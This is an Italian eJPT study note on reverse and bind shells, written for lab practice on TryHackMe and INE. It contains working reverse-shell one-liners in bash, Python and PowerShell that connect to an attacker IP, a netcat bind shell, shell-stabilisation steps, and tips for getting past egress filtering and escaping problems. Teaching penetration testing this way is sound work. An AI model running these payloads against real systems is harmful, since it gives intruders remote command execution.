eJPT · Exploitation & Post-Ex
Reverse e Bind Shell
Difficoltà: Beginner-Intermediate Time to Master: 1.5h Prerequisiti: 01-Manual-Exploitation-Searchsploit.md Lab: INE PTS labs / TryHackMe, Ice
Obiettivo
Il momento in cui un servizio vulnerabile ti dà finalmente esecuzione di comandi è anche il momento in cui ti serve un piano per trasformarla in una shell vera e propria: qui trovi la differenza tra reverse e bind shell, i one-liner da avere a memoria per ogni linguaggio disponibile sul target, e — passaggio che la prima volta sorprende sempre — come stabilizzare una shell “grezza” in qualcosa di realmente utilizzabile.
Concetti chiave
Reverse vs Bind shell
| Tipo | Chi si connette a chi | Quando usarla |
|---|---|---|
| Reverse shell | il target si connette all’attaccante | caso più comune: bypassa firewall in ingresso sul target |
| Bind shell | l’attaccante si connette al target | utile se il target non può raggiungere l’attaccante (NAT/firewall restrittivo in uscita) |
Perché una shell “grezza” non basta
La prima reverse shell netcat che ottieni sembra già una vittoria, poi provi a lanciare vim o premi Ctrl+C per interrompere qualcosa e la shell muore in faccia: niente TTY completo, niente tab-completion, niente editor interattivi. Non è un bug, è come funziona una shell non stabilizzata — e va sempre stabilizzata prima di lavorarci sul serio.
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| netcat (listener) | nc -lvnp 4444 |
listener in attesa di connessione | -n evita risoluzione DNS, più veloce |
| netcat (bind, target) | nc -lvnp 4444 -e /bin/bash |
shell in bind mode | -e non sempre presente in tutte le build di nc |
| revshells.com / PayloadsAllTheThings | riferimento payload | one-liner pronti per ogni linguaggio | genera automaticamente con IP/porta inseriti |
| rlwrap | rlwrap nc -lvnp 4444 |
listener con history/frecce | comodo per uso prolungato |
Payload / Esempi
Esempio 1: listener sull’attaccante
nc -lvnp 4444
Output atteso:
listening on [any] 4444 ...
Spiegazione: il listener resta in attesa; va avviato PRIMA di eseguire il payload sul target.
Esempio 2: reverse shell bash (target Linux)
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
Spiegazione: funziona solo se bash e compilato con supporto /dev/tcp (quasi sempre su Linux moderno). Redirige stdin/stdout/stderr verso una connessione TCP.
Esempio 3: reverse shell Python (target con Python installato)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Spiegazione: apre un socket verso l’attaccante e duplica i file descriptor standard sul socket, poi spawna bash tramite pty per una shell già semi-interattiva.
Esempio 4: reverse shell PowerShell (target Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
Spiegazione: one-liner PowerShell classico (formato “Nishang-style”), utile quando si ha esecuzione comandi su Windows senza binari aggiuntivi disponibili.
Esempio 5: stabilizzare una shell netcat grezza
python3 -c 'import pty; pty.spawn("/bin/bash")'
# poi, nella shell locale non ancora in background:
export TERM=xterm
# Ctrl+Z per mettere in background, poi:
stty raw -echo; fg
# premi invio due volte dopo il fg
Output atteso:
www-data@target:/var/www/html$
Spiegazione: pty.spawn alloca uno pseudo-terminale reale; stty raw -echo sul terminale locale disabilita l’echo locale e passa il controllo dei segnali al terminale remoto, ottenendo una shell con frecce, Ctrl+C sicuro e tab-completion.
Evasion / Bypass Techniques
- Cambiare porta del listener se il firewall in uscita filtra le porte alte non comuni (prova 443/53/80 che spesso sono permesse in uscita)
- Codificare il payload PowerShell in base64 (
-EncodedCommand) per evitare problemi di escaping caratteri speciali nella shell target
Lab Hands-On
Lab 1: TryHackMe, Ice
Obiettivo: ottenere una reverse shell su un target Windows tramite servizio vulnerabile e stabilizzarla Difficulty: Media Time: 1.5h
Walkthrough breve:
- Enumera il servizio vulnerabile ed ottieni esecuzione comandi
- Genera un payload reverse shell adatto al sistema operativo target
- Avvia il listener PRIMA di eseguire il payload
- Verifica la shell ricevuta e stabilizzala se Linux
Common Mistakes
- Avviare il payload prima del listener -> la connessione fallisce silenziosamente
- Dimenticare di cambiare IP/porta nel payload copiato da un cheatsheet -> nessuna connessione in arrivo
- Non stabilizzare la shell -> difficoltà con editor/comandi interattivi durante il resto dell’engagement
Link Utili
Connessioni
- Prerequisito: 01-Manual-Exploitation-Searchsploit.md
- Prossimo Step: 03-Privilege-Escalation-Windows.md, 04-Privilege-Escalation-Linux.md
- Combinazione con: ../07-Metasploit-Framework/04-Meterpreter-Msfvenom.md
Checklist di padronanza
- So la differenza tra reverse e bind shell a memoria
- Conosco almeno 3 one-liner reverse shell per linguaggi diversi
- So stabilizzare una shell Linux con python pty + stty raw
- So generare un payload reverse shell PowerShell per Windows